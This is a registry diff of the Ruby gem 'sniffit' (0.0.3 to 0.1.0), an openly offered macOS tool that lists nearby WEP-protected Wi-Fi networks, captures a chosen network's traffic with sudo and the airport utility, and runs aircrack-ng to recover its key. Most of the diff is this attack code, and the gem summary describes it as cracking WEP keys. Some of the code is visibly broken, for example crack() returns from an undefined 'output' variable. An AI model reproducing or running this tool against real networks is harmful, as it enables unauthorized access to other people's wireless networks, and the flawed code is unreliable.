sniffit 0.0.3 → 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/bin/sniffit +46 -3
- data/lib/sniffit.rb +63 -112
- metadata +5 -40
- data/.gitignore +0 -17
- data/Gemfile +0 -4
- data/LICENSE.txt +0 -22
- data/README.md +0 -29
- data/Rakefile +0 -1
- data/sniffit.gemspec +0 -22
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 5a9982fc85d0987283511b6eca329d63d90b3e97
|
4
|
+
data.tar.gz: b59be4d0f2d07efdc4c5abe84b03c7a5bcb27517
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: d240bd77151574682f50b54ec3133045de3f51e6cd9e9b4ed08a44093feea20860830f5991ba334ffe391f55eeae93fed2c7c804d6b15bf80dd61b386a387d4a
|
7
|
+
data.tar.gz: e18296ef389d0bf45a09d1d107c05f1d92a5eb6f22c02e2dbfd609ab968723c748b4df44b8238c45e049782681ccc77a09ae94d05493f71f9f9fa4e0a35487e8
|
data/bin/sniffit
CHANGED
@@ -1,6 +1,49 @@
|
|
1
1
|
#!/usr/bin/env ruby
|
2
2
|
|
3
|
-
require
|
3
|
+
require "sniffit"
|
4
4
|
|
5
|
-
|
6
|
-
|
5
|
+
begin
|
6
|
+
|
7
|
+
sniffer = Sniffit::Sniffer.new
|
8
|
+
|
9
|
+
networks = sniffer.find_wep_networks()
|
10
|
+
|
11
|
+
networks.each_with_index do |ntwk,idx|
|
12
|
+
puts "#{idx}. #{ntwk.ssid} #{ntwk.strength.to_s}%"
|
13
|
+
end
|
14
|
+
|
15
|
+
print "Enter a network's number: "
|
16
|
+
|
17
|
+
selected_idx = STDIN.gets.chomp.strip.to_i
|
18
|
+
network = networks[selected_idx]
|
19
|
+
|
20
|
+
puts "Sniffing for packets..."
|
21
|
+
|
22
|
+
sniffer.sniff(network)
|
23
|
+
|
24
|
+
Sniffit::Looper.every_n_seconds(1) do
|
25
|
+
size = File.size(sniffer.cap_file)
|
26
|
+
size = 0 if size == nil
|
27
|
+
puts "#{size.to_s} Bytes of network traffic"
|
28
|
+
end
|
29
|
+
|
30
|
+
Sniffit::Looper.every_n_seconds(20) do
|
31
|
+
size = File.size(sniffer.cap_file)
|
32
|
+
size_diff = size - @previous_size
|
33
|
+
@previous_size = size
|
34
|
+
|
35
|
+
if size_diff > 10000000 # every 10MB
|
36
|
+
key = sniffer.crack(network.bssid)
|
37
|
+
|
38
|
+
if key == nil
|
39
|
+
puts "Not enough network traffic... Sniffing..."
|
40
|
+
else
|
41
|
+
puts "SUCCESS: WEP key => #{key}"
|
42
|
+
exit
|
43
|
+
end
|
44
|
+
end
|
45
|
+
end
|
46
|
+
|
47
|
+
rescue StandardError, Interrupt
|
48
|
+
puts "\nSee ya next time!"
|
49
|
+
end
|
data/lib/sniffit.rb
CHANGED
@@ -1,129 +1,80 @@
|
|
1
1
|
#!/use/bin/env ruby
|
2
2
|
|
3
|
-
|
4
|
-
class ScriptClient
|
5
|
-
|
6
|
-
@previous_size = 0
|
7
|
-
|
8
|
-
def get_interface()
|
9
|
-
string = IO.popen("/sbin/infconfig en0")
|
10
|
-
is_active = string.chomp.strip.split(/\n/)[-1].split(": ")[-1].strip == "active"
|
11
|
-
|
12
|
-
if is_active == true
|
13
|
-
return "en0"
|
14
|
-
else
|
15
|
-
return "en1"
|
16
|
-
end
|
17
|
-
end
|
18
|
-
|
19
|
-
def get_airport_file()
|
20
|
-
"/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport"
|
21
|
-
end
|
3
|
+
AIRPORT_EXECUTABLE = "/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport"
|
22
4
|
|
23
|
-
|
24
|
-
|
25
|
-
lines = string.split(/\n/)
|
26
|
-
lines.delete_at(0) # removes the "title" line
|
5
|
+
module Sniffit
|
27
6
|
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
l.strip
|
32
|
-
end
|
33
|
-
|
34
|
-
split_line.delete_at(4)
|
35
|
-
split_line.delete_at(4)
|
36
|
-
|
37
|
-
split_line
|
38
|
-
}
|
7
|
+
class Network
|
8
|
+
attr_accessor :ssid, :bssid, :strength, :channel
|
9
|
+
end
|
39
10
|
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
puts "There are no WEP networks nearby to crack..."
|
48
|
-
return false
|
49
|
-
elsif network_arrays.count > 0
|
50
|
-
puts "XXXX Select a network from below by entering the number to the left of it"
|
51
|
-
network_arrays.each_index { |idx|
|
52
|
-
netarray = network_arrays[idx]
|
53
|
-
strength_percent = 100-(netarray[2].strip.gsub(/-/,"").to_i)
|
54
|
-
puts "#{idx}. #{netarray[0].to_s} => #{strength_percent}"
|
55
|
-
}
|
56
|
-
selected_idx = STDIN.gets.chomp.strip.to_i
|
57
|
-
network_arrays[selected_idx]
|
11
|
+
class Looper
|
12
|
+
def self.every_n_seconds(n)
|
13
|
+
loop do
|
14
|
+
before = Time.now
|
15
|
+
yield
|
16
|
+
interval = n-(Time.now-before)
|
17
|
+
sleep(interval) if interval > 0
|
58
18
|
end
|
59
19
|
end
|
60
|
-
|
61
|
-
def start_sniffing(channel)
|
62
|
-
|
63
|
-
Dir.foreach("/tmp/") do |filename|
|
64
|
-
if filename.include?(".cap")
|
65
|
-
system("sudo rm /tmp/#{filename}")
|
66
|
-
end
|
67
|
-
end
|
20
|
+
end
|
68
21
|
|
69
|
-
|
22
|
+
class Sniffer
|
23
|
+
|
24
|
+
attr_reader :cap_file,:networks
|
25
|
+
|
26
|
+
def self.sniff
|
27
|
+
Sniffit::Sniffer.new.start()
|
70
28
|
end
|
71
|
-
|
72
|
-
def commence_cracking(bssid)
|
73
|
-
# I know... multiple cap files, see start_sniffing(), it should ameliorate the situation
|
74
|
-
# XXX Assume there is a cap file in /tmp already...
|
75
|
-
|
76
|
-
capfiles = Dir.entries("/tmp/").select { |filename|
|
77
|
-
filename.include?(".cap")
|
78
|
-
}
|
79
|
-
|
80
|
-
if capfiles.length > 0
|
81
|
-
output = IO.popen("aircrack-ng -b " + bssid + " /tmp/#{capfiles[0].chomp.strip}").read.chomp.strip
|
82
29
|
|
83
|
-
|
84
|
-
|
85
|
-
|
86
|
-
|
87
|
-
|
88
|
-
|
89
|
-
|
90
|
-
|
91
|
-
|
92
|
-
|
30
|
+
def initialize
|
31
|
+
super
|
32
|
+
@previous_size = 0
|
33
|
+
end
|
34
|
+
|
35
|
+
def find_wep_networks()
|
36
|
+
networks = `#{AIRPORT_EXECUTABLE} scan | grep WEP`.split(/\n/)
|
37
|
+
|
38
|
+
networks.map! do |line|
|
39
|
+
parts = line.strip.split(/\s+/)
|
40
|
+
network = Sniffit::Network.new
|
41
|
+
network.ssid = parts[0]
|
42
|
+
network.bssid = parts[1]
|
43
|
+
network.strength = 100+parts[2].to_i
|
44
|
+
network.channel = parts[3]
|
45
|
+
network
|
93
46
|
end
|
47
|
+
|
48
|
+
return networks
|
94
49
|
end
|
95
|
-
|
96
|
-
def
|
97
|
-
|
98
|
-
|
99
|
-
|
100
|
-
|
101
|
-
|
50
|
+
|
51
|
+
def sniff(network)
|
52
|
+
return false if network.is_a?(Network) == false
|
53
|
+
|
54
|
+
before_cap_files = Dir.entries("/tmp/").select { |filename|
|
55
|
+
filename.include?(".cap")
|
56
|
+
}
|
57
|
+
|
58
|
+
Thread.new do
|
59
|
+
`sudo #{AIRPORT_EXECUTABLE} sniff #{network.channel}`
|
102
60
|
end
|
61
|
+
|
62
|
+
after_cap_files = Dir.entries("/tmp/").select { |filename|
|
63
|
+
filename.include?(".cap")
|
64
|
+
}
|
65
|
+
|
66
|
+
@cap_file = (after_cap_files-before_cap_files).first
|
67
|
+
puts @cap_file
|
68
|
+
return true
|
103
69
|
end
|
70
|
+
|
71
|
+
def crack(bssid)
|
72
|
+
cracking_output = `aircrack-ng -b #{bssid} /tmp/#{@cap_file}`.strip
|
104
73
|
|
105
|
-
|
106
|
-
|
107
|
-
|
108
|
-
selected_network = print_networks(workable_nets)
|
109
|
-
|
110
|
-
if selected_network != false
|
111
|
-
start_sniffing(selected_network[3])
|
112
|
-
|
113
|
-
every_n_seconds(20) do
|
114
|
-
size = IO.popen('ls -l /tmp | grep airport').read.strip.gsub(/\s+/," ").split(' ')[4].to_i
|
115
|
-
|
116
|
-
size_diff = size-@previous_size
|
117
|
-
@previous_size = size
|
118
|
-
|
119
|
-
if size_diff > 10000000 # every 10MB
|
120
|
-
commence_cracking(selected_network[1])
|
121
|
-
end
|
122
|
-
end
|
123
|
-
|
124
|
-
end
|
74
|
+
failed = cracking_output.split("Failed. Next try with").length > 1
|
75
|
+
return nil if failed
|
76
|
+
return output.split("KEY FOUND! [ ")[1].split(" ").first.strip.gsub(/:/,"")
|
125
77
|
end
|
78
|
+
|
126
79
|
end
|
127
|
-
end
|
128
|
-
|
129
|
-
|
80
|
+
end
|
metadata
CHANGED
@@ -1,43 +1,15 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: sniffit
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.0
|
4
|
+
version: 0.1.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Nathaniel Symer
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2013-
|
12
|
-
dependencies:
|
13
|
-
- !ruby/object:Gem::Dependency
|
14
|
-
name: bundler
|
15
|
-
requirement: !ruby/object:Gem::Requirement
|
16
|
-
requirements:
|
17
|
-
- - ~>
|
18
|
-
- !ruby/object:Gem::Version
|
19
|
-
version: '1.3'
|
20
|
-
type: :development
|
21
|
-
prerelease: false
|
22
|
-
version_requirements: !ruby/object:Gem::Requirement
|
23
|
-
requirements:
|
24
|
-
- - ~>
|
25
|
-
- !ruby/object:Gem::Version
|
26
|
-
version: '1.3'
|
27
|
-
- !ruby/object:Gem::Dependency
|
28
|
-
name: rake
|
29
|
-
requirement: !ruby/object:Gem::Requirement
|
30
|
-
requirements:
|
31
|
-
- - '>='
|
32
|
-
- !ruby/object:Gem::Version
|
33
|
-
version: '0'
|
34
|
-
type: :development
|
35
|
-
prerelease: false
|
36
|
-
version_requirements: !ruby/object:Gem::Requirement
|
37
|
-
requirements:
|
38
|
-
- - '>='
|
39
|
-
- !ruby/object:Gem::Version
|
40
|
-
version: '0'
|
11
|
+
date: 2013-12-28 00:00:00.000000000 Z
|
12
|
+
dependencies: []
|
41
13
|
description: Scan for WEP-secured wireless networks and find their WEP key. Requires
|
42
14
|
OS X and aircrack-ng
|
43
15
|
email:
|
@@ -47,14 +19,8 @@ executables:
|
|
47
19
|
extensions: []
|
48
20
|
extra_rdoc_files: []
|
49
21
|
files:
|
50
|
-
- .gitignore
|
51
|
-
- Gemfile
|
52
|
-
- LICENSE.txt
|
53
|
-
- README.md
|
54
|
-
- Rakefile
|
55
|
-
- bin/sniffit
|
56
22
|
- lib/sniffit.rb
|
57
|
-
- sniffit
|
23
|
+
- bin/sniffit
|
58
24
|
homepage: http://natesymer.com
|
59
25
|
licenses:
|
60
26
|
- MIT
|
@@ -78,6 +44,5 @@ rubyforge_project:
|
|
78
44
|
rubygems_version: 2.0.3
|
79
45
|
signing_key:
|
80
46
|
specification_version: 4
|
81
|
-
summary:
|
82
|
-
X and aircrack-ng
|
47
|
+
summary: Cracks WEP keys.
|
83
48
|
test_files: []
|
data/.gitignore
DELETED
data/Gemfile
DELETED
data/LICENSE.txt
DELETED
@@ -1,22 +0,0 @@
|
|
1
|
-
Copyright (c) 2013 Nathaniel Symer
|
2
|
-
|
3
|
-
MIT License
|
4
|
-
|
5
|
-
Permission is hereby granted, free of charge, to any person obtaining
|
6
|
-
a copy of this software and associated documentation files (the
|
7
|
-
"Software"), to deal in the Software without restriction, including
|
8
|
-
without limitation the rights to use, copy, modify, merge, publish,
|
9
|
-
distribute, sublicense, and/or sell copies of the Software, and to
|
10
|
-
permit persons to whom the Software is furnished to do so, subject to
|
11
|
-
the following conditions:
|
12
|
-
|
13
|
-
The above copyright notice and this permission notice shall be
|
14
|
-
included in all copies or substantial portions of the Software.
|
15
|
-
|
16
|
-
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
17
|
-
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
18
|
-
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
19
|
-
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
|
20
|
-
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
21
|
-
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
22
|
-
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
data/README.md
DELETED
@@ -1,29 +0,0 @@
|
|
1
|
-
# Sniffit
|
2
|
-
|
3
|
-
TODO: Write a gem description
|
4
|
-
|
5
|
-
## Installation
|
6
|
-
|
7
|
-
Add this line to your application's Gemfile:
|
8
|
-
|
9
|
-
gem 'sniffit'
|
10
|
-
|
11
|
-
And then execute:
|
12
|
-
|
13
|
-
$ bundle
|
14
|
-
|
15
|
-
Or install it yourself as:
|
16
|
-
|
17
|
-
$ gem install sniffit
|
18
|
-
|
19
|
-
## Usage
|
20
|
-
|
21
|
-
TODO: Write usage instructions here
|
22
|
-
|
23
|
-
## Contributing
|
24
|
-
|
25
|
-
1. Fork it
|
26
|
-
2. Create your feature branch (`git checkout -b my-new-feature`)
|
27
|
-
3. Commit your changes (`git commit -am 'Add some feature'`)
|
28
|
-
4. Push to the branch (`git push origin my-new-feature`)
|
29
|
-
5. Create new Pull Request
|
data/Rakefile
DELETED
@@ -1 +0,0 @@
|
|
1
|
-
require "bundler/gem_tasks"
|
data/sniffit.gemspec
DELETED
@@ -1,22 +0,0 @@
|
|
1
|
-
# coding: utf-8
|
2
|
-
lib = File.expand_path("../lib", __FILE__)
|
3
|
-
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
|
4
|
-
|
5
|
-
Gem::Specification.new do |spec|
|
6
|
-
spec.name = "sniffit"
|
7
|
-
spec.version = "0.0.3"
|
8
|
-
spec.authors = ["Nathaniel Symer"]
|
9
|
-
spec.email = ["nate@natesymer.com"]
|
10
|
-
spec.description = %q{Scan for WEP-secured wireless networks and find their WEP key. Requires OS X and aircrack-ng}
|
11
|
-
spec.summary = spec.description
|
12
|
-
spec.homepage = "http://natesymer.com"
|
13
|
-
spec.license = "MIT"
|
14
|
-
|
15
|
-
spec.files = `git ls-files`.split($/)
|
16
|
-
spec.executables = ["sniffit"]
|
17
|
-
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
|
18
|
-
spec.require_paths = ["lib"]
|
19
|
-
|
20
|
-
spec.add_development_dependency "bundler", "~> 1.3"
|
21
|
-
spec.add_development_dependency "rake"
|
22
|
-
end
|